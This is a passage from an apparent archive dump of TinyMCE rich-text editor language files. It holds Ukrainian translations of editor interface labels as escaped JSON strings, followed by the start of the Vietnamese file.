Ctrl+X\/C\/V \u0437\u0430\u043c\u0456\u0441\u0442\u044c
\u0441\u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044f
\u043a\u043b\u0430\u0432\u0456\u0448.",
"Heading 4":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 4",
"Div": "\u0411\u043b\u043e\u043a",
"Heading 2":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 2",
"Paste":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438",
"Close": "\u0417\u0430\u043a\u0440\u0438\u0442\u0438",
"Font Family": "\u0428\u0440\u0438\u0444\u0442
\u0437\u043c\u0456\u0441\u0442\u0443",
"Pre":
"\u041f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u0454
\u0444\u043e\u0440\u043c\u0430\u0442\u0443\u0432\u0430\u043d\u043d\u044f",
"Align right": "\u041f\u043e
\u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"New document": "\u041d\u043e\u0432\u0438\u0439
\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Blockquote": "\u0426\u0438\u0442\u0430\u0442\u0430",
"Numbered list":
"\u041d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u0438\u0439
\u0441\u043f\u0438\u0441\u043e\u043a",
"Heading 1":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 1",
"Headings":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Increase indent":
"\u0417\u0431\u0456\u043b\u044c\u0448\u0438\u0442\u0438 
\u0432\u0456\u0434\u0441\u0442\u0443\u043f",
"Formats":
"\u0424\u043e\u0440\u043c\u0430\u0442\u0438",
"Headers": "Headers",
"Select all":
"\u0412\u0438\u0434\u0456\u043b\u0438\u0442\u0438
\u0432\u0441\u0435",
"Header 3":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 3",
"Blocks": "\u0411\u043b\u043e\u043a\u0438",
"Undo":
"\u0412\u0456\u0434\u043c\u0456\u043d\u0438\u0442\u0438",
"Strikethrough":
"\u0417\u0430\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u0438\u0439",
"Bullet list":
"\u041d\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u0438\u0439
\u0441\u043f\u0438\u0441\u043e\u043a",
"Header 1":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 1",
"Superscript": "\u0412\u0435\u0440\u0445\u043d\u0456\u0439
\u0456\u043d\u0434\u0435\u043a\u0441",
"Clear formatting":
"\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u0438
\u0444\u043e\u0440\u043c\u0430\u0442\u0443\u0432\u0430\u043d\u043d\u044f",
"Font Sizes": "\u0420\u043e\u0437\u043c\u0456\u0440
\u0448\u0440\u0438\u0444\u0442\u0443",
"Subscript": "\u041d\u0438\u0436\u043d\u0456\u0439
\u0456\u043d\u0434\u0435\u043a\u0441",
"Header 6":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 6",
"Redo":
"\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u0438",
"Paragraph":
"\u041f\u0430\u0440\u0430\u0433\u0440\u0430\u0444",
"Ok": "\u0413\u0430\u0440\u0430\u0437\u0434",
"Bold": "\u0416\u0438\u0440\u043d\u0438\u0439",
"Code": "\u041a\u043e\u0434",
"Italic": "\u041a\u0443\u0440\u0441\u0438\u0432",
"Align center": "\u041f\u043e
\u0446\u0435\u043d\u0442\u0440\u0443",
"Header 5":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 5",
"Heading 6":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 6",
"Heading 3":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 3",
"Decrease indent":
"\u0417\u043c\u0435\u043d\u0448\u0438\u0442\u0438\u0442\u0438
\u0432\u0456\u0434\u0441\u0442\u0443\u043f",
"Header 4":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\u0412\u0441\u0442\u0430\u0432\u043a\u0430
\u0437\u0434\u0456\u0439\u0441\u043d\u044e\u0454\u0442\u044c\u0441\u044f
\u0443 \u0432\u0438\u0433\u043b\u044f\u0434\u0456
\u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e
\u0442\u0435\u043a\u0441\u0442\u0443, \u043f\u043e\u043a\u0438 \u043d\u0435
\u0432\u0456\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u0438
\u0434\u0430\u043d\u0443 \u043e\u043f\u0446\u0456\u044e.",
"Underline":
"\u041f\u0456\u0434\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u0438\u0439",
"Cancel":
"\u0412\u0456\u0434\u043c\u0456\u043d\u0438\u0442\u0438",
"Justify":
"\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",
"Inline":
"\u0412\u0431\u0443\u0434\u043e\u0432\u0430\u043d\u0456",
"Copy":
"\u041a\u043e\u043f\u0456\u044e\u0432\u0430\u0442\u0438",
"Align left": "\u041f\u043e
\u043b\u0456\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Visual aids": "\u041d\u0430\u043e\u0447\u043d\u0456
\u043f\u0440\u0438\u043b\u0430\u0434\u0434\u044f",
"Lower Greek": "\u041c\u0430\u043b\u0456
\u0433\u0440\u0435\u0446\u044c\u043a\u0456
\u0431\u0443\u043a\u0432\u0438",
"Square":
"\u041a\u0432\u0430\u0434\u0440\u0430\u0442\u0438",
"Default":
"\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0438\u0439",
"Lower Alpha": "\u041c\u0430\u043b\u0456
\u043b\u0430\u0442\u0438\u043d\u0441\u044c\u043a\u0456
\u0431\u0443\u043a\u0432\u0438",
"Circle":
"\u041e\u043a\u0440\u0443\u0436\u043d\u043e\u0441\u0442\u0456",
"Disc": "\u041a\u0440\u0443\u0433\u0438",
"Upper Alpha": "\u0412\u0435\u043b\u0438\u043a\u0456
\u043b\u0430\u0442\u0438\u043d\u0441\u044c\u043a\u0456
\u0431\u0443\u043a\u0432\u0438",
"Upper Roman": "\u0420\u0438\u043c\u0441\u044c\u043a\u0456
\u0446\u0438\u0444\u0440\u0438",
"Lower Roman": "\u041c\u0430\u043b\u0456
\u0440\u0438\u043c\u0441\u044c\u043a\u0456
\u0446\u0438\u0444\u0440\u0438",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "\u041a\u043e\u0434
\u043c\u0430\u0454
\u043f\u043e\u0447\u0438\u043d\u0430\u0442\u0438\u0441\u044f \u0437
\u043b\u0456\u0442\u0435\u0440\u0438 \u0456 \u043c\u043e\u0436\u0435
\u043c\u0456\u0441\u0442\u0438\u0442\u0438 \u043b\u0438\u0448\u0435
\u0441\u0438\u043c\u0432\u043e\u043b\u0438 \u043b\u0456\u0442\u0435\u0440,
\u0446\u0438\u0444\u0440, \u0434\u0435\u0444\u0456\u0441\u0443,
\u043a\u0440\u0430\u043f\u043a\u0438, \u043a\u043e\u043c\u0438
\u0430\u0431\u043e \u043d\u0438\u0436\u043d\u044c\u043e\u0433\u043e
\u043f\u0456\u0434\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u043d\u044f.",
"Name": "\u041d\u0430\u0437\u0432\u0430",
"Anchor": "\u042f\u043a\u0456\u0440",
"Id": "\u041a\u043e\u0434",
"You have unsaved changes are you sure you want to navigate
away?": "\u0423 \u0412\u0430\u0441 \u0454
\u043d\u0435\u0437\u0431\u0435\u0440\u0435\u0436\u0435\u043d\u0456
\u0437\u043c\u0456\u043d\u0438. \u0412\u0438
\u0432\u043f\u0435\u0432\u043d\u0435\u043d\u0456, \u0449\u043e
\u0445\u043e\u0447\u0435\u0442\u0435 \u043f\u0456\u0442\u0438?",
"Restore last draft":
"\u0412\u0456\u0434\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044f
\u043e\u0441\u0442\u0430\u043d\u043d\u044c\u043e\u0433\u043e
\u043f\u0440\u043e\u0435\u043a\u0442\u0443",
"Special character":
"\u0421\u043f\u0435\u0446\u0456\u0430\u043b\u044c\u043d\u0456
\u0441\u0438\u043c\u0432\u043e\u043b\u0438",
"Source code":
"\u0412\u0438\u0445\u0456\u0434\u043d\u0438\u0439
\u043a\u043e\u0434",
"Language": "\u041c\u043e\u0432\u0430",
"Insert\/Edit code sample":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u043d\u0430\u043f\u0438\u0441\u0430\u0442\u0438
\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u043a\u043e\u0434\u0443",
"B": "B",
"R": "R",
"G": "G",
"Color": "\u043a\u043e\u043b\u0456\u0440",
"Right to left": "\u0421\u043f\u0440\u0430\u0432\u0430
\u043d\u0430\u043b\u0456\u0432\u043e",
"Left to right": "\u0417\u043b\u0456\u0432\u0430
\u043d\u0430\u043f\u0440\u0430\u0432\u043e",
"Emoticons": "\u0415\u043c\u043e\u0446\u0456\u0457",
"Robots": "\u0420\u043e\u0431\u043e\u0442\u0438",
"Document properties":
"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456
\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430",
"Title":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Keywords": "\u041a\u043b\u044e\u0447\u043e\u0432\u0456
\u0441\u043b\u043e\u0432\u0430",
"Encoding":
"\u041a\u043e\u0434\u0443\u0432\u0430\u043d\u043d\u044f",
"Description": "\u041e\u043f\u0438\u0441",
"Author": "\u0410\u0432\u0442\u043e\u0440",
"Fullscreen":
"\u041f\u043e\u0432\u043d\u043e\u0435\u043a\u0440\u0430\u043d\u043d\u0438\u0439
\u0440\u0435\u0436\u0438\u043c",
"Horizontal line":
"\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0430
\u043b\u0456\u043d\u0456\u044f",
"Horizontal space":
"\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0438\u0439
\u0456\u043d\u0442\u0435\u0440\u0432\u0430\u043b",
"Insert\/edit image":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u0437\u043c\u0456\u043d\u0438\u0442\u0438
\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"General":
"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0456",
"Advanced":
"\u0420\u043e\u0437\u0448\u0438\u0440\u0435\u043d\u0456",
"Source": "\u0414\u0436\u0435\u0440\u0435\u043b\u043e",
"Border": "\u041c\u0435\u0436\u0430",
"Constrain proportions":
"\u0417\u0431\u0435\u0440\u0456\u0433\u0430\u0442\u0438
\u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0456\u0457",
"Vertical space":
"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u0438\u0439
\u0456\u043d\u0442\u0435\u0440\u0432\u0430\u043b",
"Image description": "\u041e\u043f\u0438\u0441
\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Style": "\u0421\u0442\u0438\u043b\u044c",
"Dimensions": "\u0420\u043e\u0437\u043c\u0456\u0440",
"Insert image":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438
\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Image":
"\u0417\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Zoom in":
"\u041d\u0430\u0431\u043b\u0438\u0437\u0438\u0442\u0438",
"Contrast":
"\u041a\u043e\u043d\u0442\u0440\u0430\u0441\u0442",
"Back":
"\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u0438\u0441\u044f",
"Gamma": "\u0413\u0430\u043c\u043c\u0430",
"Flip horizontally":
"\u0412\u0456\u0434\u043e\u0431\u0440\u0430\u0437\u0438\u0442\u0438
\u043f\u043e
\u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u0456",
"Resize": "\u0417\u043c\u0456\u043d\u0438\u0442\u0438
\u0440\u043e\u0437\u043c\u0456\u0440",
"Sharpen":
"\u0427\u0456\u0442\u043a\u0456\u0441\u0442\u044c",
"Zoom out":
"\u0412\u0456\u0434\u0434\u0430\u043b\u0438\u0442\u0438",
"Image options":
"\u041d\u0430\u043b\u0430\u0448\u0442\u0443\u0432\u0430\u043d\u043d\u044f
\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Apply":
"\u0417\u0430\u0441\u0442\u043e\u0441\u0443\u0432\u0430\u0442\u0438",
"Brightness":
"\u042f\u0441\u043a\u0440\u0430\u0432\u0456\u0441\u0442\u044c",
"Rotate clockwise":
"\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u0438 \u0437\u0430
\u0433\u043e\u0434\u0438\u043d\u043d\u0438\u043a\u043e\u0432\u043e\u044e
\u0441\u0442\u0440\u0456\u043b\u043a\u043e\u044e",
"Rotate counterclockwise":
"\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u0438
\u043f\u0440\u043e\u0442\u0438
\u0433\u043e\u0434\u0438\u043d\u043d\u0438\u043a\u043e\u0432\u043e\u0457
\u0441\u0442\u0440\u0456\u043b\u043a\u0438",
"Edit image":
"\u0420\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438
\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Color levels": "\u0420\u0456\u0432\u043d\u0456
\u043a\u043e\u043b\u044c\u043e\u0440\u0456\u0432",
"Crop":
"\u041e\u0431\u0440\u0456\u0437\u0430\u0442\u0438",
"Orientation":
"\u041e\u0440\u0456\u0454\u043d\u0442\u0430\u0446\u0456\u044f",
"Flip vertically":
"\u0412\u0456\u0434\u043e\u0431\u0440\u0430\u0437\u0438\u0442\u0438
\u043f\u043e \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u0456",
"Invert":
"\u0406\u043d\u0432\u0435\u0440\u0441\u0456\u044f",
"Date\/time":
"\u0414\u0430\u0442\u0430\/\u0447\u0430\u0441",
"Insert date\/time":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438
\u0434\u0430\u0442\u0443\/\u0447\u0430\u0441",
"Remove link":
"\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438
\u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Url": "\u0410\u0434\u0440\u0435\u0441\u0430
\u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Text to display": "\u0422\u0435\u043a\u0441\u0442
\u0434\u043b\u044f
\u0432\u0456\u0434\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Anchors": "\u042f\u043a\u043e\u0440\u0456",
"Insert link":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438
\u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Link":
"\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"New window": "\u0423 \u043d\u043e\u0432\u043e\u043c\u0443
\u0432\u0456\u043a\u043d\u0456",
"None": "\u041d\u0456",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "\u0421\u0445\u043e\u0436\u0435,
\u0449\u043e \u0432\u0438 \u0432\u0432\u0435\u043b\u0438
\u0437\u043e\u0432\u043d\u0456\u0448\u043d\u0454
\u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f. \u0412\u0438
\u0431\u0430\u0436\u0430\u0454\u0442\u0435
\u0434\u043e\u0434\u0430\u0442\u0438 http:\/\/
\u043f\u0440\u0435\u0444\u0456\u043a\u0441?",
"Paste or type a link":
"\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u0438 \u0430\u0431\u043e
\u0432\u0441\u0442\u0430\u0432\u0438\u0442\u0438
\u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Target":
"\u0412\u0456\u0434\u043a\u0440\u0438\u0432\u0430\u0442\u0438
\u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "\u0421\u0445\u043e\u0436\u0435,
\u0449\u043e \u0432\u0438 \u0432\u0432\u0435\u043b\u0438
\u0430\u0434\u0440\u0435\u0441\u0443
\u0435\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0457
\u043f\u043e\u0448\u0442\u0438. \u0412\u0438
\u0431\u0430\u0436\u0430\u0454\u0442\u0435
\u0434\u043e\u0434\u0430\u0442\u0438 mailto:
\u043f\u0440\u0435\u0444\u0456\u043a\u0441?",
"Insert\/edit link":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438
\u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Insert\/edit video":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438
\u0432\u0456\u0434\u0435\u043e",
"Media":
"\u041c\u0435\u0434\u0456\u0430\u0434\u0430\u043d\u0456",
"Alternative source":
"\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0435
\u0434\u0436\u0435\u0440\u0435\u043b\u043e",
"Paste your embed code below:":
"\u0412\u0441\u0442\u0430\u0432\u0442\u0435 \u0432\u0430\u0448
\u043a\u043e\u0434 \u043d\u0438\u0436\u0447\u0435:",
"Insert video":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438
\u0432\u0456\u0434\u0435\u043e",
"Poster":
"\u0417\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Insert\/edit media":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438
\u0430\u0443\u0434\u0456\u043e",
"Embed": "\u041a\u043e\u0434 \u0434\u043b\u044f
\u0432\u0441\u0442\u0430\u0432\u043a\u0438",
"Nonbreaking space":
"\u041d\u0435\u0440\u043e\u0437\u0440\u0438\u0432\u043d\u0438\u0439
\u043f\u0440\u043e\u0431\u0456\u043b",
"Page break": "\u0420\u043e\u0437\u0440\u0438\u0432
\u0441\u0442\u043e\u0440\u0456\u043d\u043a\u0438",
"Paste as text":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u044f\u043a
\u0442\u0435\u043a\u0441\u0442",
"Preview":
"\u041f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u0456\u0439
\u043f\u0435\u0440\u0435\u0433\u043b\u044f\u0434",
"Print":
"\u0414\u0440\u0443\u043a\u0443\u0432\u0430\u0442\u0438",
"Save":
"\u0417\u0431\u0435\u0440\u0435\u0433\u0442\u0438",
"Could not find the specified string.":
"\u0412\u043a\u0430\u0437\u0430\u043d\u0438\u0439
\u0440\u044f\u0434\u043e\u043a \u043d\u0435
\u0437\u043d\u0430\u0439\u0434\u0435\u043d\u043e",
"Replace":
"\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438",
"Next": "\u0412\u043d\u0438\u0437",
"Whole words": "\u0426\u0456\u043b\u0456
\u0441\u043b\u043e\u0432\u0430",
"Find and replace": "\u041f\u043e\u0448\u0443\u043a \u0456
\u0437\u0430\u043c\u0456\u043d\u0430",
"Replace with":
"\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438 \u043d\u0430",
"Find": "\u0417\u043d\u0430\u0439\u0442\u0438",
"Replace all":
"\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438
\u0432\u0441\u0435",
"Match case":
"\u0412\u0440\u0430\u0445\u043e\u0432\u0443\u0432\u0430\u0442\u0438
\u0440\u0435\u0433\u0456\u0441\u0442\u0440",
"Prev": "\u0412\u0433\u043e\u0440\u0443",
"Spellcheck":
"\u041f\u0435\u0440\u0435\u0432\u0456\u0440\u043a\u0430
\u043e\u0440\u0444\u043e\u0433\u0440\u0430\u0444\u0456\u0457",
"Finish":
"\u0417\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u0438",
"Ignore all":
"\u0406\u0433\u043d\u043e\u0440\u0443\u0432\u0430\u0442\u0438
\u0432\u0441\u0435",
"Ignore":
"\u0406\u0433\u043d\u043e\u0440\u0443\u0432\u0430\u0442\u0438",
"Add to Dictionary": "\u0414\u043e\u0434\u0430\u0442\u0438
\u0434\u043e \u0421\u043b\u043e\u0432\u043d\u0438\u043a\u0430",
"Insert row before":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438
\u043f\u043e\u0440\u043e\u0436\u043d\u0456\u0439
\u0440\u044f\u0434\u043e\u043a \u0437\u0432\u0435\u0440\u0445\u0443",
"Rows": "\u0420\u044f\u0434\u043a\u0438",
"Height": "\u0412\u0438\u0441\u043e\u0442\u0430",
"Paste row after":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438
\u0440\u044f\u0434\u043e\u043a \u0437\u043d\u0438\u0437\u0443",
"Alignment":
"\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",
"Border color": "\u043a\u043e\u043b\u0456\u0440
\u0440\u0430\u043c\u043a\u0438",
"Column group": "\u0413\u0440\u0443\u043f\u0430
\u0441\u0442\u043e\u0432\u043f\u0446\u0456\u0432",
"Row": "\u0420\u044f\u0434\u043e\u043a",
"Insert column before":
"\u0414\u043e\u0434\u0430\u0442\u0438
\u0441\u0442\u043e\u0432\u043f\u0435\u0446\u044c
\u043b\u0456\u0432\u043e\u0440\u0443\u0447",
"Split cell": "\u0420\u043e\u0437\u0431\u0438\u0442\u0438
\u043a\u043e\u043c\u0456\u0440\u043a\u0443",
"Cell padding": "\u041f\u043e\u043b\u044f
\u043a\u043e\u043c\u0456\u0440\u043e\u043a",
"Cell spacing":
"\u0412\u0456\u0434\u0441\u0442\u0430\u043d\u044c \u043c\u0456\u0436
\u043a\u043e\u043c\u0456\u0440\u043a\u0430\u043c\u0438",
"Row type": "\u0422\u0438\u043f
\u0440\u044f\u0434\u043a\u0430",
"Insert table":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438
\u0442\u0430\u0431\u043b\u0438\u0446\u044e",
"Body": "\u0422\u0456\u043b\u043e",
"Caption":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Footer": "\u041d\u0438\u0436\u043d\u0456\u0439
\u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b",
"Delete row":
"\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438
\u0440\u044f\u0434\u043e\u043a",
"Paste row before":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438
\u0440\u044f\u0434\u043e\u043a \u0437\u0432\u0435\u0440\u0445\u0443",
"Scope": "\u0421\u0444\u0435\u0440\u0430",
"Delete table":
"\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438
\u0442\u0430\u0431\u043b\u0438\u0446\u044e",
"H Align":
"\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0435
 \u0432\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",
"Top": "\u041f\u043e
\u0432\u0435\u0440\u0445\u043d\u044c\u043e\u043c\u0443
\u043a\u0440\u0430\u044e",
"Header cell":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Column":
"\u0421\u0442\u043e\u0432\u043f\u0435\u0446\u044c",
"Row group": "\u0413\u0440\u0443\u043f\u0430
\u0440\u044f\u0434\u043a\u0456\u0432",
"Cell": "\u041a\u043e\u043c\u0456\u0440\u043a\u0430",
"Middle": "\u041f\u043e
\u0446\u0435\u043d\u0442\u0440\u0443",
"Cell type": "\u0422\u0438\u043f
\u043a\u043e\u043c\u0456\u0440\u043a\u0438",
"Copy row":
"\u041a\u043e\u043f\u0456\u044e\u0432\u0430\u0442\u0438
\u0440\u044f\u0434\u043e\u043a",
"Row properties":
"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0438
\u0440\u044f\u0434\u043a\u0430",
"Table properties":
"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456
\u0442\u0430\u0431\u043b\u0438\u0446\u0456",
"Bottom": "\u041f\u043e
\u043d\u0438\u0436\u043d\u044c\u043e\u043c\u0443
\u043a\u0440\u0430\u044e",
"V Align":
"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u0435
\u0432\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",
"Header": "\u0412\u0435\u0440\u0445\u043d\u0456\u0439
\u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b",
"Right": "\u041f\u043e
\u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Insert column after": "\u0414\u043e\u0434\u0430\u0442\u0438
\u0441\u0442\u043e\u0432\u043f\u0435\u0446\u044c
\u043f\u0440\u0430\u0432\u043e\u0440\u0443\u0447",
"Cols": "\u0421\u0442\u043e\u0432\u043f\u0446\u0456",
"Insert row after":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438
\u043f\u043e\u0440\u043e\u0436\u043d\u0456\u0439
\u0440\u044f\u0434\u043e\u043a \u0437\u043d\u0438\u0437\u0443",
"Width": "\u0428\u0438\u0440\u0438\u043d\u0430",
"Cell properties":
"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0438
\u043a\u043e\u043c\u0456\u0440\u043a\u0438",
"Left": "\u041f\u043e \u043b\u0456\u0432\u043e\u043c\u0443
\u043a\u0440\u0430\u044e",
"Cut row": "\u0412\u0438\u0440\u0456\u0437\u0430\u0442\u0438
\u0440\u044f\u0434\u043e\u043a",
"Delete column":
"\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438
\u0441\u0442\u043e\u0432\u043f\u0435\u0446\u044c",
"Center": "\u041f\u043e
\u0446\u0435\u043d\u0442\u0440\u0443",
"Merge cells":
"\u041e\u0431'\u0454\u0434\u043d\u0430\u0442\u0438
\u043a\u043e\u043c\u0456\u0440\u043a\u0438",
"Insert template":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438
\u0448\u0430\u0431\u043b\u043e\u043d",
"Templates":
"\u0428\u0430\u0431\u043b\u043e\u043d\u0438",
"Background color": "\u041a\u043e\u043b\u0456\u0440
\u0444\u043e\u043d\u0443",
"Custom...":
"\u043a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0446\u044c\u043a\u0438\u0439",
"Custom color":
"\u043a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0446\u044c\u043a\u0438\u0439
\u043a\u043e\u043b\u0456\u0440",
"No color": "\u0431\u0435\u0437
\u043a\u043e\u043b\u044c\u043e\u0440\u0443",
"Text color": "\u041a\u043e\u043b\u0456\u0440
\u0442\u0435\u043a\u0441\u0442\u0443",
"Table of Contents": "\u0417\u043c\u0456\u0441\u0442",
"Show blocks":
"\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438
\u0431\u043b\u043e\u043a\u0438",
"Show invisible characters":
"\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438
\u043d\u0435\u0432\u0438\u0434\u0438\u043c\u0456
\u0441\u0438\u043c\u0432\u043e\u043b\u0438",
"Words: {0}":
"\u041a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c
\u0441\u043b\u0456\u0432: {0}",
"Insert":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438",
"File": "\u0424\u0430\u0439\u043b",
"Edit": "\u0417\u043c\u0456\u043d\u0438\u0442\u0438",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help":
"\u0422\u0435\u043a\u0441\u0442\u043e\u0432\u0435
\u043f\u043e\u043b\u0435.
\u041d\u0430\u0442\u0438\u0441\u043d\u0456\u0442\u044c ALT-F9
\u0449\u043e\u0431 \u0432\u0438\u043a\u043b\u0438\u043a\u0430\u0442\u0438
\u043c\u0435\u043d\u044e, ALT-F10 \u043f\u0430\u043d\u0435\u043b\u044c
\u0456\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0456\u0432,
ALT-0 \u0434\u043b\u044f \u0432\u0438\u043a\u043b\u0438\u043a\u0443
\u0434\u043e\u043f\u043e\u043c\u043e\u0433\u0438.",
"Tools":
"\u0406\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438",
"View": "\u0412\u0438\u0433\u043b\u044f\u0434",
"Table": "\u0422\u0430\u0431\u043b\u0438\u0446\u044f",
"Format": "\u0424\u043e\u0440\u043c\u0430\u0442"
});
PKR��[r9�g00tinymce/langs/vi.jsnu�[���tinymce.addI18n('vi',{
"Cut": "C\u1eaft",
"Header 2": "Ti\u00eau \u0111\u1ec1 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
